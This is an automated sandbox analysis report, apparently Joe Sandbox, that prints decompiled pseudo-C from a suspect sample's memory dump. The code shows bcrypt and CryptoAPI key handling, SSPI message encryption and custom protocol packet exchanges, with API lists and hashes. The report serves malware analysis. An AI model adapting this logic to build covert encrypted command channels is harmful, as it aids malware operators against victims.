													 *((intOrPtr*)(_t964 - 0x75c)) = L"SHA1";
													 *(_t964 - 0x758) = 0;
													 *(_t964 - 0x754) = 0;
													_push(4);
													_push(_t964 - 0x2c);
													_push(0x80);
													_push(_t956 + 0x24);
													_push(0);
													_push(0);
													_push(_t964 - 0x75c);
													_push(0x56);
													_push(_t964 - 0x43a);
													_push( *((intOrPtr*)(_t964 - 0x1c8)));
													 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptEncrypt")))();
													E004064D6(_t964 - 0x1c8, _t964 - 0x1c8, 0, 1);
													 *((intOrPtr*)(_t964 - 0x51c)) = 0x4d42444b;
													 *(_t964 - 0x518) = 1;
													 *(_t964 - 0x514) = 0x10;
													E0040664B(_t964 - 0x43a, _t964 - 0x510, 0x10);
													_push(0);
													_push(0x1c);
													_push(_t964 - 0x51c);
													_push(0);
													_push(0);
													_push(_t964 - 0x1c8);
													_push(L"KeyDataBlob");
													_push(0);
													_push( *((intOrPtr*)(_t964 - 0x10)));
													 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptImportKey")))();
													E0040664B(_t964 - 0x3e4, _t956 + 0xa4, 0xf7);
													E004037B8(__eflags,  *((intOrPtr*)(_t964 - 0x1c8)), _t956 + 0xa4, 0xf7, 0);
													E004064D6(_t964 - 0x1c8, _t964 - 0x1c8, 0, 1);
													E00403892(_t929,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1e0)),  *((intOrPtr*)(_t964 - 0x1d8)), 0, _t956 + 5, 0,  *((intOrPtr*)(_t964 - 0x210)));
													E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
													_t879 = E004047B4( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x404,  *((intOrPtr*)(_t964 + 0x10)), 0x64);
													_t957 =  *(_t964 - 0x77c);
													__eflags = _t879;
													if(_t879 != 0) {
														goto L117;
													}
													__eflags = _t957[4] - 3;
													if(__eflags != 0) {
														goto L119;
													}
													_t881 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1dc)),  *((intOrPtr*)(_t964 - 0x1d4)), 0,  &(_t957[5]), 1,  *((intOrPtr*)(_t964 - 0x20c)));
													__eflags = _t881;
													if(_t881 == 0) {
														goto L117;
													}
													__eflags = _t957[5] - 0x28;
													if(__eflags != 0) {
														goto L119;
													}
													_t883 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)), 0,  &(_t957[0x207]), 2,  *((intOrPtr*)(_t964 - 0x22c)));
													__eflags = _t883;
													if(_t883 == 0) {
														goto L117;
													}
													E00406605( &(_t957[0x291]), _t964 - 0x134, 0x80);
													_t893 = E004039AA(__eflags,  *(_t964 - 4),  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x10)), _t964 - 0x1c4,  &(_t957[0x292]), _t964 - 0x1d0, _t964 - 0x1cc, _t964 - 0x208, _t964 - 0x204);
													__eflags = _t893;
													if(_t893 == 0) {
														goto L117;
													}
													_t907 = 0xffffffff;
													goto L43;
												}
												__eflags = _t907;
												if(_t907 >= 0) {
													break;
												}
												E004066D2( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
												_t950 =  *((intOrPtr*)(_t964 - 0x780));
												 *_t950 = 0x80;
												 *((char*)(_t950 + 3)) = 1;
												 *((char*)(_t950 + 4)) = 3;
												 *((char*)(_t950 + 5)) = 1;
												 *((char*)(_t950 + 9)) =  *(_t964 - 0x18);
												 *((char*)(_t950 + 0xf)) = 0x12;
												E004066E9( *((intOrPtr*)(_t964 + 8)), 0xa, _t964 - 0x6c8);
												E004067E1(_t964 - 0x6c8, 0xa, _t950 + 0x10);
												 *((char*)(_t950 + 0x20)) = 0x3a;
												E004066E9( *((intOrPtr*)(_t964 + 0xc)), 0xffffffff, _t964 - 0x720);
												 *((intOrPtr*)(_t950 + 0xf)) =  *((intOrPtr*)(_t950 + 0xf)) + E0040690B(__eflags, _t964 - 0x720);
												E0040664B(_t964 - 0x720, _t950 + 0x21, _t776);
												E00403892(_t929,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x200)),  *((intOrPtr*)(_t964 - 0x1f8)),  *((intOrPtr*)(_t964 - 0x1d0)), _t950 + 5, 1,  *((intOrPtr*)(_t964 - 0x208)));
												E00404484(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
												_t783 = E004047B4( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x64);
												_t951 =  *(_t964 - 0x77c);
												__eflags = _t783;
												if(_t783 != 0) {
													goto L117;
												}
												__eflags = _t951[4] - 3;
												if(__eflags != 0) {
													goto L117;
												}
												_t785 = E00403913(_t929, __eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)),  *((intOrPtr*)(_t964 - 0x1cc)),  &(_t951[5]), 3,  *((intOrPtr*)(_t964 - 0x204)));
												__eflags = _t785;
												if(_t785 == 0) {
													goto L117;
												}
												__eflags = _t951[5] - 4;
												if(_t951[5] == 4) {
													E0040664B(_t964 - 8,  *((intOrPtr*)(_t964 + 0x1c)), 4);
													E0040664B(_t964 - 0x200,  *((intOrPtr*)(_t964 + 0x20)), 0x10);
													E0040664B(_t964 - 0x1d0,  *((intOrPtr*)(_t964 + 0x20)) + 0x10, 8);
													E0040664B(_t964 - 0x208,  *((intOrPtr*)(_t964 + 0x24)), 8);
													E0040664B(_t964 - 0x18,  *((intOrPtr*)(_t964 + 0x28)), 4);
													 *(_t964 - 0x788) = 1;
												}
											}
											break;
										}
										__eflags =  *(_t964 - 0x714);
										if( *(_t964 - 0x714) == 0) {
											continue;
										}
										goto L12;
									}
									__eflags = _t583 - 0x1f;
									if(__eflags != 0) {
										continue;
									}
									goto L9;
								}
								__eflags = _t583 - 0x17;
								if(_t583 != 0x17) {
									continue;
								}
								goto L7;
							}
							__eflags = _t583 - 7;
							if(_t583 != 7) {
								continue;
							}
							goto L5;
						}
						__eflags = _t583 - 7;
						if(_t583 != 7) {
							continue;
						}
						goto L3;
					}
					L119:
					 *(_t964 - 0x24) = 0xc;
					if( *(_t964 - 0x788) != 1) {
						 *(_t964 - 0x24) = 0xe;
					}
					E00406517(_t964 - 0x238, _t964 - 0x238, 0,  *(_t964 - 0x24));
					 *(_t964 - 0x24) = 8;
					 *(_t964 - 0x2c) = 4;
					if( *(_t964 - 0x788) != 1) {
						 *(_t964 - 0x24) = 0xe;
						 *(_t964 - 0x2c) = 0;
					}
					E004064D6(_t964 - 0x200, _t964 - 0x200,  *(_t964 - 0x2c),  *(_t964 - 0x24));
					CryptReleaseContext( *(_t964 - 4), 0);
					_t971 =  *(_t964 - 0x788) - 1;
					if( *(_t964 - 0x788) != 1) {
						_push(0);
						_push( *((intOrPtr*)(_t964 - 8)));
						 *((intOrPtr*)(E00406EE2(_t971, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					}
					_push(0);
					_push( *((intOrPtr*)(_t964 - 0xc)));
					 *((intOrPtr*)(E00406EE2(_t971, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					_push(0);
					_push( *((intOrPtr*)(_t964 - 0x10)));
					 *((intOrPtr*)(E00406EE2(_t971, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					E0040664B(_t964 - 0x764,  *((intOrPtr*)(_t964 + 0x18)), 4);
					E004048E1(_t964 - 0x23c);
					E004048E1(_t964 - 0x784);
					E004048E1(_t964 - 0x77c);
					E004048E1(_t964 - 0x780);
					return  *(_t964 - 0x788);
				}
			}

0x00402621
0x00402621
0x00402621
0x00000000
0x00402644
0x00401416
0x00401419
0x0040141e
0x00401425
0x00401430
0x00401430
0x00401437
0x00401442
0x00401442
0x00401449
0x00401454
0x00401454
0x0040145b
0x00401466
0x0040148d
0x00401492
0x00401492
0x00401494
0x00000000
0x00000000
0x0040149a
0x004014a1
0x004014b0
0x004014b0
0x004014b7
0x00401d72
0x00401d79
0x004022bd
0x004022c4
0x00402438
0x0040243f
0x00402621
0x00402621
0x00402621
0x00000000
0x00402627
0x00402621
0x00402463
0x00402465
0x00000000
0x00000000
0x0040247d
0x00402482
0x00402498
0x0040249d
0x0040249f
0x00000000
0x00000000
0x004024b1
0x004024b6
0x004024b8
0x00000000
0x00000000
0x004024be
0x004024c4
0x004024cb
0x004024d2
0x004024e5
0x004024f0
0x004024f1
0x004024f3
0x004024f5
0x004024fb
0x004024fc
0x004024fe
0x00402503
0x00402505
0x00000000
0x00000000
0x0040251b
0x00402520
0x00402522
0x00000000
0x00000000
0x00402528
0x0040252b
0x00402531
0x00402533
0x00402533
0x00402533
0x0040253c
0x00402541
0x00402548
0x00000000
0x00000000
0x0040254a
0x00402554
0x00402559
0x0040255c
0x00000000
0x00000000
0x00402567
0x00402570
0x00402573
0x00000000
0x0040261c
0x00402585
0x004025a8
0x004025aa
0x004025b3
0x004025b5
0x004025b7
0x004025c8
0x004025cd
0x004025d3
0x004025e4
0x004025e9
0x004025ef
0x004025f5
0x004025fa
0x004025fd
0x00402615
0x00402621
0x00402621
0x00402621
0x00000000
0x00402627
0x00402621
0x00000000
0x004024d2
0x00402328
0x0040232d
0x0040232f
0x00000000
0x00000000
0x00402340
0x00402345
0x0040234b
0x0040234e
0x00402352
0x00402356
0x0040235a
0x0040235e
0x00402378
0x00402378
0x0040237b
0x00000000
0x00000000
0x0040236f
0x00402377
0x00402377
0x00402377
0x0040238a
0x004023ac
0x004023c7
0x004023e2
0x004023e7
0x004023ed
0x004023ef
0x00000000
0x00000000
0x004023f5
0x004023f9
0x00000000
0x00000000
0x0040241c
0x00402421
0x00402423
0x00000000
0x00000000
0x00402429
0x0040242d
0x00000000
0x00000000
0x00402621
0x00402621
0x00402621
0x00000000
0x00402627
0x00402621
0x00401d7f
0x00401d86
0x00401d8d
0x004022a6
0x004022a6
0x004022aa
0x00000000
0x00000000
0x00401d9c
0x00401db9
0x00401dd5
0x00401dea
0x00401dfc
0x00401e0e
0x00401e13
0x00401ef9
0x00401ef9
0x00401efd
0x00000000
0x00000000
0x00401e24
0x00401e29
0x00401e5f
0x00401e64
0x00401e6b
0x00401e6d
0x00401ed7
0x00401ed7
0x00401edb
0x00401ef4
0x00401edd
0x00401ee0
0x00401ee5
0x00401ee5
0x00000000
0x00401edb
0x00401e83
0x00401ea1
0x00401ea6
0x00401ed2
0x00401ed2
0x00401ed5
0x00000000
0x00000000
0x00401eaa
0x00401eb2
0x00401eba
0x00000000
0x00401ed0
0x00401ebc
0x00401ec4
0x00401ec6
0x00401ec6
0x00401ecd
0x00401ecd
0x00000000
0x00401ed2
0x00401f03
0x00402299
0x00402299
0x0040229d
0x00000000
0x00000000
0x00401f18
0x00401f1d
0x00401f1e
0x00401f42
0x00401f44
0x00000000
0x00000000
0x00401fae
0x00401fb0
0x00402260
0x00402272
0x00402277
0x0040227a
0x0040227d
0x00402290
0x00402295
0x00402297
0x004022b5
0x00000000
0x004022b5
0x00000000
0x00402297
0x00401fc1
0x00401fc6
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd9
0x00401fe0
0x00402000
0x0040201b
0x00402036
0x0040203b
0x00402041
0x00402043
0x00000000
0x00000000
0x00402049
0x0040204d
0x00000000
0x00000000
0x00402070
0x00402075
0x00402077
0x00000000
0x00000000
0x0040207d
0x00402081
0x00000000
0x00000000
0x00402092
0x00402097
0x0040209d
0x004020a3
0x004020a6
0x004020aa
0x004020b1
0x004020ca
0x004020cf
0x004020d2
0x004020d2
0x004020d4
0x004020f4
0x0040210f
0x00402114
0x0040211b
0x00402122
0x00402129
0x0040212f
0x00402140
0x00402145
0x00402158
0x00402163
0x00402164
0x00402166
0x00402168
0x0040216e
0x0040216f
0x00402171
0x00402176
0x00402178
0x00000000
0x00000000
0x0040217e
0x00402180
0x00000000
0x00000000
0x00402196
0x0040219b
0x0040219d
0x00000000
0x00000000
0x004021a9
0x004021ac
0x004021af
0x004021b6
0x00000000
0x00000000
0x004021c4
0x004021d0
0x004021d5
0x004021df
0x004021e1
0x004021e1
0x004021e3
0x00000000
0x00000000
0x004021e9
0x00402255
0x00402255
0x00402259
0x00000000
0x00000000
0x004021f6
0x004021f8
0x0040224c
0x0040224c
0x00402252
0x00402252
0x00402252
0x00000000
0x00402252
0x00402218
0x0040221d
0x0040221f
0x00000000
0x00000000
0x00402225
0x0040222b
0x00000000
0x00000000
0x0040222d
0x00402233
0x00000000
0x00000000
0x00402239
0x00402242
0x00402247
0x00402249
0x00402249
0x00402249
0x00000000
0x00402249
0x0040225b
0x00000000
0x00402145
0x004022a3
0x004022a3
0x004022a3
0x004022a3
0x004014bd
0x004014d2
0x004014d5
0x004014d8
0x004014eb
0x004014eb
0x004014ef
0x00000000
0x00000000
0x004014e2
0x004014e3
0x004014e5
0x004014e7
0x004014e7
0x004014e8
0x004014e8
0x004014e8
0x004014e8
0x004014f1
0x00401508
0x00401517
0x0040151c
0x0040151e
0x00000000
0x00000000
0x0040153c
0x00401541
0x00401547
0x004015fd
0x004015fd
0x00401600
0x00000000
0x00000000
0x00401602
0x00401606
0x0040155c
0x0040155c
0x0040155e
0x00000000
0x00000000
0x00401564
0x00401574
0x00401579
0x0040157b
0x00000000
0x00000000
0x00401581
0x00401591
0x00401596
0x00401598
0x00000000
0x00000000
0x0040159e
0x004015ae
0x004015b3
0x004015b5
0x00000000
0x00000000
0x004015bc
0x004015be
0x004015c0
0x004015cc
0x004015d1
0x004015d3
0x00000000
0x00000000
0x004015dc
0x004015ec
0x004015f1
0x004015f3
0x00000000
0x00000000
0x004015f9
0x004015fc
0x004015fc
0x00000000
0x004015fc
0x00000000
0x00401606
0x00401bc7
0x00401bc7
0x00401bca
0x00000000
0x00000000
0x00401611
0x00401674
0x00401679
0x0040167b
0x00401bad
0x00401bbf
0x00401bc4
0x00401bc4
0x00401bc4
0x00000000
0x00401bc4
0x004016a2
0x004016a7
0x004016a8
0x004016aa
0x004016b1
0x004016b7
0x004016bc
0x004016c8
0x004016cd
0x004016d3
0x004016ed
0x0040170b
0x0040172a
0x0040172f
0x00401731
0x00402629
0x00402635
0x0040263a
0x00000000
0x0040263a
0x00401737
0x0040173d
0x00401753
0x00401758
0x0040175f
0x00401766
0x0040176f
0x00401779
0x00401783
0x004017b3
0x004017b8
0x004017b9
0x004017c7
0x004017cc
0x004017e4
0x004017f0
0x004017f6
0x00401800
0x00401800
0x00401800
0x00401802
0x00000000
0x00000000
0x004017fa
0x004017fb
0x004017fd
0x004017ff
0x004017ff
0x004017fd
0x00401804
0x0040181c
0x0040183b
0x00401840
0x00401853
0x0040185b
0x00401862
0x00401863
0x00401865
0x00401870
0x00401871
0x00401873
0x00401875
0x0040187a
0x00401884
0x0040188e
0x00401898
0x004018a2
0x004018ac
0x004018bc
0x004018be
0x004018d7
0x004018dc
0x004018de
0x004018e9
0x004018f0
0x004018f7
0x004018f8
0x004018fa
0x00401912
0x0040191f
0x00401924
0x0040192a
0x00401930
0x00401933
0x00401937
0x00401940
0x00401943
0x0040195d
0x00401968
0x0040196e
0x00401978
0x00401982
0x00401987
0x00401988
0x00401990
0x00401991
0x00401993
0x0040199b
0x0040199c
0x004019a4
0x004019a5
0x004019c0
0x004019cd
0x004019d2
0x004019dc
0x004019e6
0x00401a00
0x00401a05
0x00401a07
0x00401a0f
0x00401a10
0x00401a12
0x00401a1a
0x00401a21
0x00401a22
0x00401a24
0x00401a3c
0x00401a51
0x00401a6a
0x00401a7a
0x00401a9c
0x00401ab7
0x00401ad2
0x00401ad7
0x00401add
0x00401adf
0x00000000
0x00000000
0x00401ae5
0x00401ae9
0x00000000
0x00000000
0x00401b0c
0x00401b11
0x00401b13
0x00000000
0x00000000
0x00401b19
0x00401b1d
0x00000000
0x00000000
0x00401b43
0x00401b48
0x00401b4a
0x00000000
0x00000000
0x00401b63
0x00401b9b
0x00401ba0
0x00401ba2
0x00000000
0x00000000
0x00401ba8
0x00000000
0x00401ba8
0x00401bd0
0x00401bd2
0x00000000
0x00000000
0x00401be3
0x00401be8
0x00401bee
0x00401bf1
0x00401bf5
0x00401bf9
0x00401c00
0x00401c03
0x00401c13
0x00401c25
0x00401c2a
0x00401c3a
0x00401c4b
0x00401c5a
0x00401c80
0x00401c9b
0x00401cb6
0x00401cbb
0x00401cc1
0x00401cc3
0x00000000
0x00000000
0x00401cc9
0x00401ccd
0x00000000
0x00000000
0x00401cf4
0x00401cf9
0x00401cfb
0x00000000
0x00000000
0x00401d01
0x00401d05
0x00401d14
0x00401d28
0x00401d3a
0x00401d4b
0x00401d59
0x00401d5e
0x00401d5e
0x00401d05
0x00000000
0x004014b7
0x004014a3
0x004014aa
0x00000000
0x00000000
0x00000000
0x004014aa
0x0040145d
0x00401460
0x00000000
0x00000000
0x00000000
0x00401460
0x0040144b
0x0040144e
0x00000000
0x00000000
0x00000000
0x0040144e
0x00401439
0x0040143c
0x00000000
0x00000000
0x00000000
0x0040143c
0x00401427
0x0040142a
0x00000000
0x00000000
0x00000000
0x0040142a
0x00402651
0x00402651
0x0040265f
0x00402661
0x00402661
0x00402674
0x00402679
0x00402680
0x0040268e
0x00402690
0x00402697
0x00402697
0x004026ab
0x004026b5
0x004026ba
0x004026c1
0x004026c3
0x004026c5
0x004026dd
0x004026dd
0x004026df
0x004026e1
0x004026f9
0x004026fb
0x004026fd
0x00402715
0x00402723
0x0040272f
0x0040273b
0x00402747
0x00402753
0x00402762
0x00402762

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401508
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040153C
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 004026B5

Strings

BCryptCloseAlgorithmProvider, xrefs: 004026D2, 004026EE, 0040270A
bcrypt.dll, xrefs: 004026C8, 004026E4, 00402700

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID: BCryptCloseAlgorithmProvider$bcrypt.dll
API String ID: 1374739491-1199799005
Opcode ID: b9190c15976ec14e801de932b40a9fed5819db8612a563bdea162a634e1d7df9
Instruction ID: a3bcb3cc96b32fac7b04d8a52f10e2b1532277f458af079fd4dfda013e4cfbfd
Opcode Fuzzy Hash: b9190c15976ec14e801de932b40a9fed5819db8612a563bdea162a634e1d7df9
Instruction Fuzzy Hash: 7E213471D40218AADF11ABE1CD0ABDD7678EF08304F1044AAF205751C1CB7E9F949F19

Uniqueness

Uniqueness Score: -1.00%

Function 00404484 Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404484(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16, intOrPtr _a20) {
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char* _v32;
				long _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				void* _t53;
				void* _t58;
				intOrPtr _t80;
				void* _t86;

				_t53 = E004066D2( &_v92,  &_v16 - _t86);
				while(_a12 > 0) {
					_push( &_v24);
					_push(4);
					_push(_a20);
					L00407202();
					_t53 = VirtualAlloc(0, _v24 + _v16 + _v20, 0x3000, 4);
					if(_t53 != 0) {
						_v28 = _t53;
						_t58 = _t53 + _v24;
						_t80 = _a12;
						if(_v16 <= _t80) {
							_t80 = _v16;
						}
						_v92 = _v92 + _t80;
						_a12 = _a12 - _t80;
						E0040664B(_a8 + _v92, _t58, _t80);
						E0040664B( &_v24,  &_v88, 4);
						_v84 = 7;
						E0040664B( &_v28,  &_v80, 4);
						_v76 = _t80;
						_v72 = 1;
						_v68 = _v28 + _v24;
						E0040664B( &_v20,  &_v64, 4);
						_v60 = 6;
						_v56 = _v28 + _v24 + _t80;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v32 =  &_v88;
						_v40 = 0;
						_v36 = 4;
						_push(0);
						_push( &_v40);
						_push(0);
						_push(_a20);
						L004071D8();
						E004062FA(_a4, _v28, _v88 + _v76 + _v64, _a16);
						_t53 = E004048E1( &_v28);
						continue;
					}
					break;
				}
				return _t53;
			}

0x00404498
0x004045a8
0x004044a5
0x004044a6
0x004044a8
0x004044ab
0x004044c3
0x004044ca
0x004044d0
0x004044d3
0x004044d6
0x004044dc
0x004044de
0x004044de
0x004044e7
0x004044ea
0x004044f0
0x004044ff
0x00404504
0x00404515
0x0040451a
0x0040451d
0x0040452a
0x00404537
0x0040453c
0x0040454b
0x0040454e
0x00404555
0x0040455c
0x00404566
0x00404569
0x00404570
0x00404577
0x0040457c
0x0040457d
0x0040457f
0x00404582
0x0040459a
0x004045a3
0x00000000
0x004045a3
0x00000000
0x004044ca
0x004045b6

APIs

QueryContextAttributesA.SECUR32(?,00000004,?,?,?,?,?,?), ref: 004044AB
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?,?), ref: 004044C3
EncryptMessage.SECUR32(?,00000000,?,00000000,?,?,00000004,?,?,00000004,?,?,00000004,?,?,?), ref: 00404582

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: AllocAttributesContextEncryptMessageQueryVirtual
String ID:
API String ID: 2600646408-0
Opcode ID: ab59b1a01ab19821842703bcd51a5c7cff8532c3778612b7a4b30717481346dd
Instruction ID: eee12982e2d51957c8a3b09d7459633cb1edb388ed5fd6c337225e1fd8a4fe53
Opcode Fuzzy Hash: ab59b1a01ab19821842703bcd51a5c7cff8532c3778612b7a4b30717481346dd
Instruction Fuzzy Hash: 9B41DDB1D00209ABDF04DFD5CD86BEEB7B8EF04308F10442AE611B6281D779AA55CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403E30 Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00403E30(long* _a4, BYTE* _a8, intOrPtr _a12) {
				long* _v8;
				char _v12;
				char _v16;
				char _v125;
				char _v268;
				char* _t18;
				void* _t22;
				void* _t25;

				E004066D2( &_v268,  &_v16 - _t25);
				CryptImportKey(_a4, _a8, 0x190, 0, 1,  &_v8);
				_v12 = 0x90;
				_push( &_v12);
				_t18 =  &_v268;
				_push(_t18);
				_push(0);
				_push(6);
				_push(0);
				_push(_v8);
				L00407124();
				E00406605( &_v125, _a12, 0x80);
				CryptDestroyKey(_v8);
				_t22 = _t18;
				return _t22;
			}

0x00403e47
0x00403e5f
0x00403e64
0x00403e6e
0x00403e6f
0x00403e75
0x00403e76
0x00403e78
0x00403e7a
0x00403e7c
0x00403e7f
0x00403e91
0x00403e99
0x00403e9e
0x00403ea3

APIs

CryptImportKey.ADVAPI32(?,?,00000190,00000000,00000001,?,?,?,?,?), ref: 00403E5F
CryptExportKey.ADVAPI32(?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001,?,?,?,?,?), ref: 00403E7F
CryptDestroyKey.ADVAPI32(?,?,?,00000080,00000000,?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001), ref: 00403E99

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: Crypt$DestroyExportImport
String ID:
API String ID: 2547721435-0
Opcode ID: 47ef0168141b03367853a52314189065d96da1280b9e7cdc991604c9b9823f28
Instruction ID: d9dbee07c606b4edab87cf3dc6b1a480327e1780b5cf4342560dd656187287a0
Opcode Fuzzy Hash: 47ef0168141b03367853a52314189065d96da1280b9e7cdc991604c9b9823f28
Instruction Fuzzy Hash: 38018172900208BAEF11DB91CC42FDF777CEB40704F10446AB601BA0D1EA75A7249B68

Uniqueness

Uniqueness Score: -1.00%

Function 004045B9 Relevance: 3.1, APIs: 2, Instructions: 148
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004045B9(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v8;
				void* _v12;
				char _v16;
				long _v20;
				char* _v24;
				long _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				char _v72;
				signed int _v76;
				char _v80;
				signed int _v84;
				void* _v88;
				void* _t71;
				void* _t77;
				signed int _t78;
				signed int _t86;
				signed int _t88;
				signed int _t92;
				intOrPtr _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;

				E004066D2( &_v88,  &_v16 - _t104);
				E004066D2(_a8, 4);
				_t101 = _a8;
				_v20 = 0x8000;
				_t71 = VirtualAlloc(0, _v20, 0x3000, 4);
				if(_t71 == 0) {
					L28:
					E004048E1(_a8);
					_v88 = 0;
					goto L29;
				} else {
					_v8 = _t71;
					goto L2;
					do {
						do {
							L2:
							if(_v12 == 0 || _v84 == 0x80090318) {
								while(1) {
									_t77 = _v8 + _v12;
									_t96 = _v20 != _v12;
									if(_v20 != _v12) {
										break;
									}
									_v20 = _v20 + 0x8000;
									if(E00404878( &_v8, _v12, _v20) == 0) {
										goto L28;
									} else {
										continue;
									}
								}
								_t78 = E004063CD(__eflags, _a4, _t77, _t96, 0);
								__eflags = _t78;
								if(_t78 <= 0) {
									goto L28;
								}
								_t20 =  &_v12;
								 *_t20 = _v12 + _t78;
								__eflags =  *_t20;
							}
							E0040664B( &_v12,  &_v80, 4);
							_v76 = 1;
							E0040664B( &_v8,  &_v72, 4);
							_v68 = 0;
							_v64 = 0;
							_v60 = 0;
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v40 = 0;
							_v36 = 0;
							_v24 =  &_v80;
							_v32 = 0;
							_v28 = 4;
							_push(0);
							_push(0);
							_t86 =  &_v32;
							_push(_t86);
							_push(_a12);
							L004071CC();
							_v84 = _t86;
							__eflags = _v84 - 0x80090318;
						} while (__eflags == 0);
						__eflags = _v84 - 0x90317;
						if(_v84 == 0x90317) {
							L14:
							_v12 = 0;
							_t92 = 1;
							while(1) {
								__eflags = _t92 - 3;
								if(_t92 > 3) {
									goto L26;
								}
								_t102 = _t103 + _t92 * 0xc - 0x4c;
								__eflags = _t102[1] - 1;
								if(_t102[1] != 1) {
									L20:
									__eflags = _t102[1] - 5;
									if(_t102[1] == 5) {
										__eflags = _t102[2];
										if(_t102[2] != 0) {
											__eflags =  *_t102;
											if( *_t102 != 0) {
												_t59 =  &_v12;
												 *_t59 = _v12 +  *_t102;
												__eflags =  *_t59;
												_v84 = 0x90312;
												E0040664B(_t102[2], _v8 + _v12,  *_t102);
											}
										}
									}
									L24:
									_t92 = _t92 + 1;
									__eflags = _t92;
									continue;
								}
								__eflags = _t102[2];
								if(_t102[2] == 0) {
									goto L20;
								}
								__eflags =  *_t102;
								if( *_t102 == 0) {
									goto L20;
								}
								_t88 = E00404842(_t101, _v88, _t102[2],  *_t102);
								__eflags = _t88;
								if(_t88 == 0) {
									goto L28;
								}
								_v88 = _v88 +  *_t102;
								goto L24;
							}
							goto L26;
						}
						__eflags = _v84 - 0x90321;
						if(_v84 != 0x90321) {
							__eflags = _t86;
							if(_t86 != 0) {
								goto L28;
							}
							goto L14;
						}
						goto L28;
						L26:
						__eflags = _v84 - 0x90312;
					} while (__eflags == 0);
					L29:
					E004048E1( &_v8);
					return _v88;
				}
			}

0x004045cd
0x004045d7
0x004045dc
0x004045df
0x004045f2
0x004045f9
0x00404792
0x00404795
0x0040479a
0x00000000
0x004045ff
0x004045ff
0x004045ff
0x00404602
0x00404602
0x00404602
0x00404606
0x00404611
0x00404614
0x0040461a
0x0040461f
0x00000000
0x00000000
0x00404621
0x00404639
0x00000000
0x0040463f
0x00000000
0x0040463f
0x00404639
0x00404648
0x0040464d
0x0040464f
0x00000000
0x00000000
0x00404655
0x00404655
0x00404655
0x00404655
0x00404662
0x00404667
0x00404678
0x0040467d
0x00404684
0x0040468b
0x00404692
0x00404699
0x004046a0
0x004046a7
0x004046ae
0x004046b5
0x004046bf
0x004046c2
0x004046c9
0x004046d0
0x004046d2
0x004046d4
0x004046d7
0x004046d8
0x004046db
0x004046e0
0x004046e3
0x004046e3
0x004046f0
0x004046f7
0x00404710
0x00404710
0x00404717
0x0040477e
0x0040477e
0x00404781
0x00000000
0x00000000
0x00404721
0x00404725
0x00404729
0x0040474f
0x0040474f
0x00404753
0x00404755
0x00404759
0x0040475b
0x0040475e
0x00404768
0x00404768
0x00404768
0x0040476b
0x00404778
0x00404778
